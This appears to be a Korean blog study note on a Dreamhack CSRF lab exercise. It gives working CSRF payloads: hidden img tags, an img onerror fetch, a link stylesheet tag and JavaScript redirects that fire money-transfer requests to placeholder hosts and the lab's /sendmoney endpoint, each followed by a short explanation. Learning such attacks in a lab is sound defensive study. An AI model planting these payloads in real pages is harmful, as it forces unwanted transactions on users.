WEB hacking/드림핵(dreamhack)

드림핵 CSRF

Roronoa 2023. 1. 14. 02:44
반응형

CSRF 공격 코드

HTML img 태그 공격 예시

<img src='https://aaaa.aaa.aa/money?to=jon&amount=1234' width=0px height=0px>

javascript 공격 예시

//새 창 띄우기
window.open('https://aaa.aaa.com/aaa?to=jon&amount=1337');

// 현재 창 주소 옮기기
location.href = 'https://aaa.aaa.com/aaa?to=jon&amount=1337';
location.replace('https://aaa.aaa.com/aaa?to=jon&amount=1337');

 

드림핵 CSRF 실습 코드(내 코드)

<img src='/sendmoney?to=dreamhack&amount=10000000' width=0px height=0px>

 

드림핵 CSRF 실습 코드(답)

<img src="/sendmoney?to=dreamhack&amount=1337">

<img src=1 onerror="fetch('/sendmoney?to=dreamhack&amount=1337');">

<link rel="stylesheet" href="/sendmoney?to=dreamhack&amount=1337">

img 태그(onerror="fetch('url');")

img 태그에서 src를 1로 설정을 하였기 때문에 사진이 나오지 않는다.

따라서 onerror를 설정하여 사진이 나오지 않았을 경우 대체할 경우를 설정한다.

fetch(url) 함수를 사용하여 해당 url을 호출할 수 있다.

 

link 태그(rel="stylesheet" href='url')

스타일 시트(stylesheet)를 사용하면 사용할 외부 리소스를 불러온다.

주소가 /sendmoney?to=dreamhack&amount=1000000으로 설정을 하면 해당 데이터를 보내 CSRF 공격이 가능하다.

반응형